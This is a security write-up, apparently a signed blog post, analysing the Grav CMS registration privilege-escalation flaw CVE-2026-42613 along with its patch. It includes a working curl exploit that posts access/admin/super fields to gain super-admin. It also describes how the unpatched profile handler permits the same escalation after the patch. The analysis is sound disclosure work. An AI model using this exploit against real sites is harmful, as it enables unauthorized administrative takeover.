-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The allowlist does not know which of its names are authority\n\nCVE-2026-42613 is a critical (CVSS 9.4) unauthenticated privilege escalation against Grav, a flat-file PHP CMS. There is no database. Users are YAML files in `user/accounts/.yaml`. The access-control subsystem reads two keys off a user's YAML and treats them as authority: `groups` and `access`. `access.admin.super: true` is super-admin. `access.admin.login: true` is the admin login.\n\nThe Login plugin's registration form is driven by a config key called `plugins.login.user_registration.fields`. The plugin's own README is unambiguous about what that key is for:\n\n```yaml\nuser_registration:\n fields: # List of fields to validate and store during user registration\n - 'username'\n - 'password'\n - 'email'\n - 'fullname'\n - 'title'\n - 'level'\n - 'twofa_enabled'\n```\n\nThe README's customization section reinforces the mental model:\n\n> If you want to add your own custom fields to the registration form, just add fields to the form like you would with any other form. Then, to let the Login plugin add those fields to the user yaml file, you also need to add it to the \"Registration fields\" option in the Login Plugin configuration.\n\nAn admin reading that paragraph adds `team` or `department` or `interests` or, for a community site that lets members self-select a content group, `groups`. The list is a namespace. The namespace is the same namespace the access-control subsystem reads from. The README does not say which names in that namespace are reserved. There is no reserved-names list at all, on either side of the boundary.\n\n## The iteration copies each listed name from form to YAML\n\nPre-patch, `LoginPlugin::processUserRegistration` in `login.php` runs on POST to `/register` and reaches this loop:\n\n```php\n$fields = (array)$this->config->get('plugins.login.user_registration.fields', []);\n\nforeach ($fields as $field) {\n // Process value of field if set in the page process.register_user\n $default_values = (array)$this->config->get('plugins.login.user_registration.default_values');\n if ($default_values) {\n foreach ($default_values as $key => $param) {\n if ($key === $field) {\n if (is_array($param)) {\n $values = explode(',', $param);\n } else {\n $values = $param;\n }\n $data[$field] = $values;\n }\n }\n }\n\n if (!isset($data[$field]) && $form_data->get($field)) {\n $data[$field] = $form_data->get($field);\n }\n}\n```\n\nIterate each name in the allowlist. Try the server-side `default_values[$name]` first. If that did not write into `$data[$name]`, fall through to whatever the form said. There is no per-name filter. There is no awareness that some names are different from others. The loop has been in the codebase since Grav 1.x and was unchanged on the day CVE-2026-42613 was filed.\n\n## The guards in Login::register look like safety checks. They are the trust inversion.\n\nThe dictionary `$data` is passed to `Login::register()` in `classes/Login.php`:\n\n```php\npublic function register(array $data, array $files = [])\n{\n $data += [\n 'username' => null,\n 'email' => null\n ];\n\n if (!isset($data['groups'])) {\n $groups = (array) $this->config->get('plugins.login.user_registration.groups', []);\n if (\\count($groups) > 0) {\n $data['groups'] = $groups;\n }\n }\n\n if (!isset($data['access'])) {\n $access = (array) $this->config->get('plugins.login.user_registration.access.site', []);\n if (\\count($access) > 0) {\n $data['access']['site'] = $access;\n }\n }\n ...\n $user = $accounts->load($username);\n $user->update($data, $files);\n if (isset($data['groups'])) {\n $user->groups = $data['groups'];\n }\n if (isset($data['access'])) {\n $user->access = $data['access'];\n }\n $user->save();\n\n return $user;\n}\n```\n\nTwo `if (!isset(...))` guards bracket the only fallback that consults server-side configuration. They read as safety checks: only apply the default groups if the caller has not pre-set them. They are not safety checks. They are the mechanism by which the registration form's allowlist-driven write overrides the server's idea of what a new user should be allowed to do. When the form handler has already put `access` in `$data`, the guard sees a value and skips the config fallback. `$user->access = $data['access']`. `$user->save()`. The file lands on disk with whatever permission tree the attacker supplied.\n\nThe contract of `Login::register` is \"the caller decides whether the default applies.\" The registration form is a caller. The form data is fully attacker-controlled.\n\n## The request that promotes\n\nGrav's form plugin serializes nested form values as `data[outer][inner]`. The registration page returns a CSRF token in `` on any GET, unauthenticated. With `groups` or `access` added to `user_registration.fields`, the exploit is a single POST:\n\n```bash\nnonce=$(curl -s -c jar 'https://target.example.com/register' \\\n | grep -oE 'name=\"form-nonce\" value=\"[^\"]+\"' \\\n | sed -E 's/.*value=\"([^\"]+)\".*/\\1/')\n\ncurl -s -b jar -X POST 'https://target.example.com/register' \\\n -d \"form-nonce=${nonce}\" \\\n -d '__form-name__=register-form' \\\n -d 'data[username]=neutral' \\\n -d 'data[email]=neutral@example.com' \\\n -d 'data[fullname]=Neutral+User' \\\n -d 'data[password1]=Hunter2Hunter2!' \\\n -d 'data[password2]=Hunter2Hunter2!' \\\n -d 'data[access][admin][super]=true' \\\n -d 'data[access][admin][login]=true' \\\n -d 'data[access][site][login]=true' \\\n -d 'data[groups][]=administrators'\n```\n\nServer-side, `processUserRegistration` iterates the configured `user_registration.fields`. `access` is in it; the admin put it there. `$form_data->get('access')` returns the nested array PHP parsed from the POST. `$data['access']` is populated. `Login::register`'s guard finds `$data['access']` set, skips the config fallback, sets `$user->access = $data['access']`, and writes the file:\n\n```yaml\n# user/accounts/neutral.yaml\nusername: neutral\nemail: neutral@example.com\nfullname: Neutral User\ngroups: [administrators]\naccess:\n admin:\n super: 'true'\n login: 'true'\n site:\n login: 'true'\nhashed_password: $2y$10$...\n```\n\nThe attacker browses to `/admin`, logs in as `neutral`, lands in the super-admin dashboard. There is no second request.\n\n## The patch is two strings\n\nThe fix for CVE-2026-42613 is a literal:\n\n```diff\n+ // Privilege fields must never be sourced from public registration form input;\n+ // honoring attacker-supplied values would grant instant super-admin even if an\n+ // administrator mistakenly added them to `user_registration.fields`\n+ // (GHSA-pxm6-mhxr-q4mj). Server-side `default_values`, invitations, and the\n+ // `plugins.login.user_registration.{groups,access}` config remain authoritative.\n+ $privilegeFields = ['groups', 'access'];\n+\n foreach ($fields as $field) {\n // Process value of field if set in the page process.register_user\n $default_values = (array)$this->config->get('plugins.login.user_registration.default_values');\n ...\n+ if (in_array($field, $privilegeFields, true)) {\n+ if ($form_data->get($field) !== null) {\n+ $this->grav['log']->warning(sprintf(\n+ 'Login registration: ignored client-supplied \"%s\" from form submission (username=%s)',\n+ $field,\n+ is_string($username) ? $username : ''\n+ ));\n+ }\n+ continue;\n+ }\n```\n\nThe denylist is two items long. The framework had always known both names: `Login::register` keys its guards on `$data['groups']` and `$data['access']` and has done so for years. The privilege-bearing namespace inside the user YAML is exactly two strings. The denylist that closes the loop is the same two strings. Until 23 April 2026, the framework declined to write that list down where the form handler would read it. The boundary was the admin's allowlist; the admin's allowlist had no enforcement keeping the boundary in place.\n\n## The profile handler reads the same allowlist\n\n`LoginPlugin::processUserProfile` is defined in the same file as `processUserRegistration`. It runs on POST to any page whose form declares `process: update_user: true`, which is what `pages/profile.md` (access: `site.login: true`) declares. Post-patch, the function is unchanged:\n\n```php\n// login.php, processUserProfile, post-patch\n$fields = (array)$this->config->get('plugins.login.user_registration.fields', []);\n\n$data = [];\nforeach ($fields as $field) {\n $data_field = $form_data->get($field);\n if (!isset($data[$field]) && isset($data_field)) {\n $data[$field] = $form_data->get($field);\n }\n}\n\ntry {\n $flash = $form->getFlash();\n $user->update($data, $flash->getFilesByFields(true));\n $user->save();\n ...\n```\n\nSame config key. Same iteration. Same write into the user YAML. No denylist. No log warning. If `groups` or `access` is in `user_registration.fields`, the exact precondition CVE-2026-42613 was assigned for, any logged-in user can POST to a profile-update form with `data[access][admin][super]=true` and rewrite their own user file as super-admin.\n\nThe CVE description reads: \"an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.\" It is accurate. It is also the unauthenticated half of the bug. Once the same misconfiguration is in place, the authenticated half is reachable through `update_user`, including by the user who just self-registered with `site.login: true`. The unauth vector and the auth vector exit through different functions but read the same allowlist.\n\nThe unauth vector is closed in 3.8.2. The auth vector is exactly what `processUserRegistration` looked like the day before the patch.\n\n## The privilege boundary lives in the name\n\nThe user YAML is a free-form dict. `fullname` is a string. `title` is a string. `groups` is a list of strings. `access` is a nested map. The access-control subsystem reads the keys `groups` and `access` from a user dict and treats their values as authority, not because they were declared as a privilege-bearing type at the schema layer, but because those are the words it reads. Any other field name in the user dict is profile data. The two names are the entire privilege namespace.\n\nThe registration handler iterates a list of field names supplied by the admin and copies each name from form input into the user dict. The form-input key and the user-dict key are the same word. There is nothing in the type system distinguishing \"this name is profile data\" from \"this name is super-admin.\" The admin's allowlist permits names and the framework reads names; the namespace is shared, and the shared namespace contains exactly two strings that are authority.\n\nThis is the same shape as [Mattermost's `fileId`](https://nefariousplan.com/posts/mattermost-cve-2025-25279-fileid-was-never-an-id), where a `map[string]interface{}` value was an ID only by name and the duplicate endpoint read it as a path; the same shape as [LiteLLM's `hashed_token`](https://nefariousplan.com/posts/litellm-cve-2026-42208-hashed-token-was-a-parameter-name), where a function parameter was hashed only by the name of the variable and one of three callers forgot. Grav's `access` is the YAML-key instance of name-is-the-only-type. The privilege boundary lives in the choice of word.\n\n## The denylist exists\n\n`processUserRegistration` has the denylist. `processUserProfile` does not. `Login::register` has the guards that pass the attacker's input through to disk in both call paths. The framework knew the names. The patch wrote them down in one of two places that needed them. The other place is what the patched function looked like the morning of 22 April 2026.\n\nPoC: [getgrav/grav-plugin-login@3d419a0](https://github.com/getgrav/grav-plugin-login/commit/3d419a0dabd70aed1fd49afcd5919004a4141da1) (the patch) and [GHSA-pxm6-mhxr-q4mj](https://github.com/getgrav/grav/security/advisories/GHSA-pxm6-mhxr-q4mj) (the advisory).","closing_line":"The denylist is two strings. The framework owned both names. It still left the boundary in the admin's allowlist, in two functions, and only closed one.","hook_md":"CVE-2026-42613 is a critical unauthenticated privilege escalation in Grav. The Login plugin's registration handler reads an admin-configured allowlist of field names and copies each named field from the POST body into the new user's YAML file. Two of the field names a Grav admin can put in that allowlist are `groups` and `access`. Those names are also how Grav's access-control subsystem stores authority on a user. The fix, committed by getgrav maintainer Andy Miller on 23 April 2026, hardcodes a two-string denylist of those exact names inside the registration handler. The next form-processing function in the same file reads the same allowlist and writes the same user file. The denylist is not there.","post_id":295,"slug":"grav-cve-2026-42613-patch-is-two-strings","title":"CVE-2026-42613: Grav's Patch Is a Two-String Denylist. The Profile Handler Iterates the Same Allowlist.","type":"initial","unreadable_sentence":"The patch is a two-string literal in one function. The next form-processing function in the same file iterates the same allowlist into the same user file, and the literal is not there."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaujR1wAKCRDeZjl4jgkQ JhjyAQC5T3k7rwRIlnBGWMXsqqqD7EIaDfKjioocwduBcgGvgAEAuQ1dtLPJtMqP 8EKfKgW5p80dRpM5yoRdL3+nRQbmCAU= =99kK -----END PGP SIGNATURE-----